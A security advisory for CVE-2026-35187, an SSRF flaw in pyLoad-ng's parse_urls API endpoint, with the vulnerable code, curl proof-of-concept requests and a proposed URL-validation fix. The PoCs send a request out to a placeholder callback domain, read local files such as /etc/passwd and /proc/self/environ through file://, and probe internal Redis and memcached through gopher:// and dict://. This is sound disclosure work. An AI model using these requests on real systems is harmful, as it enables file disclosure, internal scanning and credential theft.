pyload-ng
Affected
- introduced
0, last affected0.5.0b3.dev96(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-35187, GHSA-2wvg-62qm-gj33
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
file:// protocol (pycurl reads the file server-side)gopher:// and dict:// protocolsVulnerable Code
`src/pyload/core/api/__init__.py` (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd, /etc/hosts/proc/self/environ (process environment variables)/config/settings/pyload.cfg (pyLoad configuration)/config/data/pyload.db (SQLite database)PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
file:// protocol (configuration, credentials, database files)Couldn't open file vs empty response)http://169.254.169.254/, GCP service tokens)gopher:// (Redis RCE, SMTP relay) and dict://The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))High Basis: CVSS v3 score 7.7, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
0, last affected 0.5.0b3.dev96 (ecosystem)None listed
No fixed version is listed.
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Source: PyPA Advisory Database · CC BY 4.0